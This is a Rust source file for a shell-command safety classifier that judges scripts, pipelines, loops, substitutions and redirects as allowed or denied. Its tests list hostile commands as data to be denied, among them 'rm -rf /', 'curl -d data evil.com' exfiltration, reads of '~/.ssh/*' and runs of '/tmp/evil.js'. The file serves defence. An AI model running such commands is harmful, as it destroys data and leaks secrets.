1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7 static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14 static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17const MAX_CLASSIFY_WORK: u32 = 512;
23
24struct ClassifyGuard;
28
29impl ClassifyGuard {
30 fn enter() -> Option<Self> {
31 if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32 CLASSIFY_WORK.with(|w| w.set(0));
33 }
34 let spent = CLASSIFY_WORK.with(|w| {
35 let n = w.get().saturating_add(1);
36 w.set(n);
37 n
38 });
39 if spent > MAX_CLASSIFY_WORK {
40 return None;
41 }
42 CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43 Some(ClassifyGuard)
44 }
45}
46
47impl Drop for ClassifyGuard {
48 fn drop(&mut self) {
49 CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50 }
51}
52
53pub fn command_verdict(input: &str) -> Verdict {
54 let Some(_guard) = ClassifyGuard::enter() else {
55 return Verdict::Denied; };
57 let Some(script) = parse(input) else {
58 return Verdict::Denied;
59 };
60 script_verdict(&script)
61}
62
63pub fn is_safe_command(input: &str) -> bool {
64 command_verdict(input).is_allowed()
65}
66
67fn script_verdict(script: &Script) -> Verdict {
68 let mut running = crate::pathctx::cwd();
73 let mut verdict = Verdict::Allowed(SafetyLevel::Inert);
74 for stmt in &script.0 {
75 let v = {
76 let _cwd = crate::pathctx::enter_cwd(running.clone());
77 pipeline_verdict(&stmt.pipeline)
78 };
79 verdict = verdict.combine(v);
80 let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
81 if next.is_some() {
82 running = next;
83 }
84 }
85 verdict
86}
87
88fn cd_target(pipeline: &Pipeline) -> Option<String> {
91 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
92 return None;
93 };
94 if s.words.first()?.eval() != "cd" {
95 return None;
96 }
97 s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
98}
99
100#[cfg(test)]
101pub(crate) fn is_safe_script(script: &Script) -> bool {
102 script_verdict(script).is_allowed()
103}
104
105pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
106 let mut acc = Verdict::Allowed(SafetyLevel::Inert);
107 let mut prev: Option<&Cmd> = None;
108 for cmd in &pipeline.commands {
109 let _stdin = prev.map(|p| crate::pathctx::enter_stdin_repr(pipe_source_repr(p)));
113 acc = acc.combine(cmd_verdict(cmd));
114 prev = Some(cmd);
115 }
116 acc
117}
118
119const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
124
125fn pipe_source_repr(cmd: &Cmd) -> String {
129 let Cmd::Simple(s) = cmd else {
130 return UNKNOWN_ITEM.to_string();
131 };
132 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
133 let Some(first) = words.first() else {
134 return UNKNOWN_ITEM.to_string();
135 };
136 let name = Token::from_raw(first.clone()).command_name().to_string();
137 let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
138 match name.as_str() {
139 "find" | "fd" | "fdfind" => {
141 let roots = find_roots(&args);
142 let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
143 format!("{}/sc_item", base.trim_end_matches('/'))
144 }
145 "ls" => {
147 if args.contains(&"-d") {
148 worst_arg_repr(&args)
149 } else {
150 "sc_item".to_string()
151 }
152 }
153 "echo" | "printf" => worst_arg_repr(&args),
155 "git" => match args.first() {
157 Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
158 _ => UNKNOWN_ITEM.to_string(),
159 },
160 _ => UNKNOWN_ITEM.to_string(),
161 }
162}
163
164fn source_ok(path: &str) -> bool {
167 crate::engine::resolve::read_content_verdict(path).is_allowed()
168}
169
170fn worst_arg_repr(args: &[&str]) -> String {
173 args.iter()
174 .filter(|a| !a.starts_with('-'))
175 .find(|a| !source_ok(a))
176 .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
177}
178
179fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
182 let mut i = 0;
183 while i < args.len() {
184 match args[i] {
185 "-H" | "-L" | "-P" => i += 1,
186 "-D" | "-O" => i += 2,
187 _ => break,
188 }
189 }
190 let mut roots = Vec::new();
191 while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
192 roots.push(args[i]);
193 i += 1;
194 }
195 if roots.is_empty() {
196 roots.push(".");
197 }
198 roots
199}
200
201pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
202 pipeline_verdict(pipeline).is_allowed()
203}
204
205pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
206 match cmd {
207 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
208 _ => true,
209 }
210}
211
212fn has_any_substitution(cmd: &SimpleCmd) -> bool {
213 cmd.words.iter().any(has_substitution)
214 || cmd.env.iter().any(|(_, v)| has_substitution(v))
215}
216
217pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
218 cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
219}
220
221pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
222 match cmd {
223 Cmd::Simple(s) => simple_verdict(s),
224 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
225 let body_v = script_verdict(body);
226 if let Verdict::Denied = body_v {
227 return Verdict::Denied;
228 }
229 let redir_v = redirect_verdict(redirs);
230 if let Verdict::Denied = redir_v {
231 return Verdict::Denied;
232 }
233 body_v.combine(redir_v)
234 }
235 Cmd::For { var, items, body, redirs } => {
236 let redir_v = redirect_verdict(redirs);
237 if let Verdict::Denied = redir_v {
238 return Verdict::Denied;
239 }
240 let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
244 let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
245 Some((read_repr, write_repr)) => {
246 let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
247 script_verdict(body)
248 }
249 None => script_verdict(body),
250 };
251 words_sub_verdict(items).combine(body_v).combine(redir_v)
252 }
253 Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
254 let redir_v = redirect_verdict(redirs);
255 if let Verdict::Denied = redir_v {
256 return Verdict::Denied;
257 }
258 script_verdict(cond)
259 .combine(script_verdict(body))
260 .combine(redir_v)
261 }
262 Cmd::If {
263 branches,
264 else_body,
265 redirs,
266 } => {
267 let redir_v = redirect_verdict(redirs);
268 if let Verdict::Denied = redir_v {
269 return Verdict::Denied;
270 }
271 let mut v = redir_v;
272 for b in branches {
273 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
274 }
275 if let Some(eb) = else_body {
276 v = v.combine(script_verdict(eb));
277 }
278 v
279 }
280 Cmd::DoubleBracket { words, redirs } => {
281 words_sub_verdict(words).combine(redirect_verdict(redirs))
282 }
283 }
284}
285
286pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
287 cmd_verdict(cmd).is_allowed()
288}
289
290fn part_sub_verdict(part: &WordPart) -> Verdict {
291 match part {
292 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
293 WordPart::Backtick(raw) => command_verdict(raw),
294 WordPart::DQuote(inner) => word_sub_verdict(inner),
295 _ => Verdict::Allowed(SafetyLevel::Inert),
296 }
297}
298
299fn word_sub_verdict(word: &Word) -> Verdict {
300 word.0.iter()
301 .map(part_sub_verdict)
302 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
303}
304
305fn words_sub_verdict(words: &[Word]) -> Verdict {
306 words.iter()
307 .map(word_sub_verdict)
308 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
309}
310
311#[cfg(test)]
312pub(crate) fn word_subs_safe(word: &Word) -> bool {
313 word_sub_verdict(word).is_allowed()
314}
315
316fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
317 let redir_v = redirect_verdict(&cmd.redirs);
318 if let Verdict::Denied = redir_v {
319 return Verdict::Denied;
320 }
321
322 let env_sub_v = cmd.env.iter()
323 .map(|(_, v)| word_sub_verdict(v))
324 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
325 let word_sub_v = words_sub_verdict(&cmd.words);
326 let sub_v = env_sub_v.combine(word_sub_v);
327
328 if let Verdict::Denied = sub_v {
329 return Verdict::Denied;
330 }
331
332 if cmd.words.is_empty() {
333 if cmd.env.is_empty() {
334 return Verdict::Allowed(SafetyLevel::Inert);
335 }
336 return sub_v.combine(redir_v);
337 }
338
339 if cmd.words[0].eval() == "eval" {
340 return eval_verdict(cmd).combine(sub_v).combine(redir_v);
341 }
342
343 let tokens: Vec<Token> =
346 cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
347 if tokens.is_empty() {
348 return Verdict::Allowed(SafetyLevel::Inert);
349 }
350
351 let cmd_v = leaf_verdict(&tokens);
352 sub_v.combine(cmd_v).combine(redir_v)
353}
354
355fn leaf_verdict(tokens: &[Token]) -> Verdict {
359 let legacy = handlers::dispatch(tokens);
360 crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
361}
362
363fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
364 if cmd.words.len() < 2 {
365 return Verdict::Denied;
366 }
367 for arg in &cmd.words[1..] {
368 if !arg_is_eval_safe(arg) {
369 return Verdict::Denied;
370 }
371 }
372 Verdict::Allowed(SafetyLevel::Inert)
373}
374
375fn arg_is_eval_safe(word: &Word) -> bool {
376 let mut found_safe = false;
377 for part in &word.0 {
378 match part {
379 WordPart::Lit(s) | WordPart::SQuote(s) => {
380 if !s.chars().all(char::is_whitespace) {
381 return false;
382 }
383 }
384 WordPart::Escape(c) => {
385 if !c.is_whitespace() {
386 return false;
387 }
388 }
389 WordPart::CmdSub(script) => {
390 if !script_yields_eval_safe(script) {
391 return false;
392 }
393 found_safe = true;
394 }
395 WordPart::Backtick(raw) => {
396 let Some(script) = parse(raw) else {
397 return false;
398 };
399 if !script_yields_eval_safe(&script) {
400 return false;
401 }
402 found_safe = true;
403 }
404 WordPart::DQuote(inner) => {
405 if !arg_is_eval_safe(inner) {
406 return false;
407 }
408 if has_substitution(inner) {
409 found_safe = true;
410 }
411 }
412 WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
413 }
414 }
415 found_safe
416}
417
418fn script_yields_eval_safe(script: &Script) -> bool {
419 if script.0.len() != 1 {
420 return false;
421 }
422 let stmt = &script.0[0];
423 if !matches!(stmt.op, None | Some(ListOp::Semi)) {
424 return false;
425 }
426 let pipeline = &stmt.pipeline;
427 if pipeline.bang || pipeline.commands.len() != 1 {
428 return false;
429 }
430 let Cmd::Simple(s) = &pipeline.commands[0] else {
431 return false;
432 };
433 if !s.env.is_empty() {
434 return false;
435 }
436 if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
442 return false;
443 }
444 for w in &s.words {
445 if !word_is_plain_literal(w) {
446 return false;
447 }
448 }
449 let tokens: Vec<Token> =
450 s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
451 if tokens.is_empty() {
452 return false;
453 }
454 crate::registry::is_eval_safe_invocation(&tokens)
455}
456
457fn word_is_plain_literal(word: &Word) -> bool {
470 word.0.iter().all(part_is_plain_literal)
471}
472
473fn part_is_plain_literal(part: &WordPart) -> bool {
474 match part {
475 WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
476 WordPart::Escape(c) => is_bare_literal_char(*c),
477 WordPart::DQuote(inner) => word_is_plain_literal(inner),
478 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
479 }
480}
481
482fn is_bare_literal_char(c: char) -> bool {
488 c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
489}
490
491pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
492 redirs.iter().all(|r| match r {
493 Redir::Write { target, .. } => target.eval() == "/dev/null",
494 Redir::Read { .. }
495 | Redir::HereStr(_)
496 | Redir::HereDoc { .. }
497 | Redir::DupFd { .. } => true,
498 })
499}
500
501fn is_safe_write_target(path: &str) -> bool {
508 crate::engine::resolve::write_target_verdict(path).is_allowed()
509}
510
511pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
512 let mut level = Verdict::Allowed(SafetyLevel::Inert);
513 for r in redirs {
514 match r {
515 Redir::Write { target, .. } => {
516 level = level.combine(word_sub_verdict(target));
517 let t = target.eval();
518 if t == "/dev/null" {
519 } else if is_safe_write_target(&t) {
521 level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
522 } else {
523 level = level.combine(Verdict::Denied);
524 }
525 }
526 Redir::Read { target, .. } => {
527 level = level.combine(word_sub_verdict(target));
528 if has_substitution(target) {
532 level = level.combine(Verdict::Denied);
533 } else {
534 level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
535 }
536 }
537 Redir::HereStr(word) => {
538 level = level.combine(word_sub_verdict(word));
539 }
540 Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
541 }
542 }
543 level
544}
545
546fn has_substitution(word: &Word) -> bool {
547 word.0.iter().any(|p| match p {
548 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
549 WordPart::DQuote(inner) => has_substitution(inner),
550 _ => false,
551 })
552}
553
554#[cfg(test)]
555mod tests {
556 use super::*;
557
558 fn check(cmd: &str) -> bool {
559 is_safe_command(cmd)
560 }
561
562 #[test]
563 fn loop_variable_inherits_the_list_locus() {
564 for cmd in [
567 "for f in *.txt; do cat $f; done",
568 "for f in *.txt; do rm $f; done",
569 "for f in src/*.rs; do grep foo $f; done",
570 "for f in *.log; do sed -i s/a/b/ $f; done",
571 "for f in a b c; do cat $f.bak; done",
572 "for x in 1 2 3; do rm $x; done",
573 "for d in a b; do for f in $d/x; do cat $f; done; done", ] {
575 assert!(check(cmd), "worktree loop should allow: {cmd}");
576 }
577 for cmd in [
579 "for f in /etc/*; do cat $f; done",
580 "for f in /etc/*.conf; do rm $f; done",
581 "for f in ~/.ssh/*; do cat $f; done",
582 "for f in $LIST; do rm $f; done",
583 "for f in $(find / -name x); do rm -rf $f; done",
584 "for d in /etc; do for f in $d/x; do cat $f; done; done",
585 "for f in /etc/hosts ~/notes; do cat $f; done",
588 ] {
589 assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
590 }
591 }
592
593 safe! {
594 grep_foo: "grep foo file.txt",
595 jq_key: "jq '.key' file.json",
596 base64_d: "base64 -d",
597 ls_la: "ls -la",
598 wc_l: "wc -l file.txt",
599 ps_aux: "ps aux",
600 echo_hello: "echo hello",
601 cat_file: "cat file.txt",
602
603 version_go: "go --version",
604 version_cargo: "cargo --version",
605 version_cargo_redirect: "cargo --version 2>&1",
606 help_cargo: "cargo --help",
607 help_cargo_build: "cargo build --help",
608
609 dev_null_echo: "echo hello > /dev/null",
610 dev_null_stderr: "echo hello 2> /dev/null",
611 dev_null_append: "echo hello >> /dev/null",
612 dev_null_git_log: "git log > /dev/null 2>&1",
613 fd_redirect_ls: "ls 2>&1",
614 stdin_dev_null: "git log < /dev/null",
615
616 env_prefix: "FOO='bar baz' ls -la",
617 env_prefix_dq: "FOO=\"bar baz\" ls -la",
618 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
619
620 subst_echo_ls: "echo $(ls)",
621 subst_ls_pwd: "ls `pwd`",
622 subst_nested: "echo $(echo $(ls))",
623 subst_quoted: "echo \"$(ls)\"",
624 assign_subst_ls: "out=$(ls)",
625 assign_subst_git: "out=$(git status)",
626 assign_subst_multiple: "a=$(ls) b=$(pwd)",
627 assign_subst_backtick: "out=`ls`",
628
629 assign_bare_lit: "foo=bar",
630 assign_bare_int: "x=1",
631 assign_bare_empty: "x=",
632 assign_bare_dq: "x=\"foo bar\"",
633 assign_bare_sq: "x='foo bar'",
634 assign_bare_param: "rc=$?",
635 assign_bare_var: "x=$y",
636 assign_bare_dollar_var_braced: "x=${y}",
637 assign_bare_path: "PATH=/foo",
638 assign_bare_multiple: "a=1 b=2 c=3",
639 assign_bare_arith: "x=$((1 + 2))",
640 assign_in_for_body: "for i in 1 2; do x=1; done",
641 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
642 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
643 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
644 assign_then_use: "x=1; echo $x",
645 assign_chained_with_safe: "x=1 && ls",
646 assign_subshell: "(x=1)",
647 assign_in_subshell_with_cmd: "(x=1; ls)",
648
649 subshell_echo: "(echo hello)",
650 subshell_ls: "(ls)",
651 subshell_chain: "(ls && echo done)",
652 subshell_pipe: "(ls | grep foo)",
653 subshell_nested: "((echo hello))",
654 subshell_for: "(for x in 1 2; do echo $x; done)",
655
656 pipe_grep_head: "grep foo file.txt | head -5",
657 pipe_cat_sort_uniq: "cat file | sort | uniq",
658 chain_ls_echo: "ls && echo done",
659 semicolon_ls_echo: "ls; echo done",
660 bg_ls_echo: "ls & echo done",
661 newline_echo_echo: "echo foo\necho bar",
662
663 stdin_read_from_path: "wc -l < /tmp/foo.log",
664 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
665 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
666
667 here_string_grep: "grep -c , <<< 'hello,world,test'",
668 heredoc_cat: "cat <<EOF\nhello world\nEOF",
669 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
670 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
671 heredoc_no_content: "cat <<EOF",
672 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
673
674 for_echo: "for x in 1 2 3; do echo $x; done",
675 for_empty_body: "for x in 1 2 3; do; done",
676 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
677 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
678 while_test: "while test -f /tmp/foo; do sleep 1; done",
679 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
680 until_test: "until test -f /tmp/ready; do sleep 1; done",
681 if_then_fi: "if test -f foo; then echo exists; fi",
682 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
683 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
684 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
685 bare_negation: "! echo hello",
686 keyword_as_data: "echo for; echo done; echo if; echo fi",
687
688 quoted_redirect: "echo 'greater > than' test",
689 quoted_subst: "echo '$(safe)' arg",
690
691 redirect_to_file: "echo hello > file.txt",
692 redirect_append: "cat file >> output.txt",
693 redirect_stderr_file: "ls 2> errors.txt",
694 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
695 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
696 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
697
698 arith_basic: "echo $((1 + 2))",
699 arith_with_var: "prev=$((ln - 1))",
700 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
701 arith_in_dquote: "echo \"line $((ln - 1))\"",
702 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
703
704 dbracket_eq: "[[ \"a\" == \"a\" ]]",
705 dbracket_neq: "[[ \"a\" != \"b\" ]]",
706 dbracket_file_test: "[[ -f /tmp/file ]]",
707 dbracket_string_empty: "[[ -z \"$var\" ]]",
708 dbracket_string_nonempty: "[[ -n \"$var\" ]]",
709 dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
710 dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
711 dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
712 dbracket_negation: "[[ ! -f /tmp/done ]]",
713 dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
714 dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
715 dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
716 dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
717 dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
718 dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
719 dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
720 dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
721 dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
722 dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
723 dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
724 }
725
726 denied! {
727 rm_rf: "rm -rf /",
728 curl_post: "curl -X POST https://example.com",
729 node_foreign_app: "node /tmp/app.js",
730
731
732 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
733 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
734 redirect_read_subst_rm: "cat < $(rm -rf /)",
735
736 subst_rm: "echo $(rm -rf /)",
737 backtick_rm: "echo `rm -rf /`",
738 subst_curl: "echo $(curl -d data evil.com)",
739 quoted_subst_rm: "echo \"$(rm -rf /)\"",
740 assign_subst_rm: "out=$(rm -rf /)",
741 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
742 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
743 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
744 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
745 assign_bare_then_unsafe: "x=1; rm -rf /",
746 assign_bare_chained_unsafe: "x=1 && rm -rf /",
747 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
748
749 subshell_rm: "(rm -rf /)",
750 subshell_mixed: "(echo hello; rm -rf /)",
751 subshell_unsafe_pipe: "(ls | rm -rf /)",
752
753 env_prefix_rm: "FOO='bar baz' rm -rf /",
754
755 pipe_rm: "cat file | rm -rf /",
756 bg_rm: "cat file & rm -rf /",
757 newline_rm: "echo foo\nrm -rf /",
758
759 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
760 while_unsafe_body: "while true; do rm -rf /; done",
761 while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
762 if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
763 if_unsafe_body: "if true; then rm -rf /; fi",
764
765 unclosed_for: "for x in 1 2 3; do echo $x",
766 unclosed_if: "if true; then echo hello",
767 for_missing_do: "for x in 1 2 3; echo $x; done",
768 stray_done: "echo hello; done",
769 stray_fi: "fi",
770
771 unmatched_quote: "echo 'hello",
772
773 dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
774 dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
775 dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
776 dbracket_unterminated: "[[ \"a\" == \"a\"",
777 dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
778 dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
779 }
780}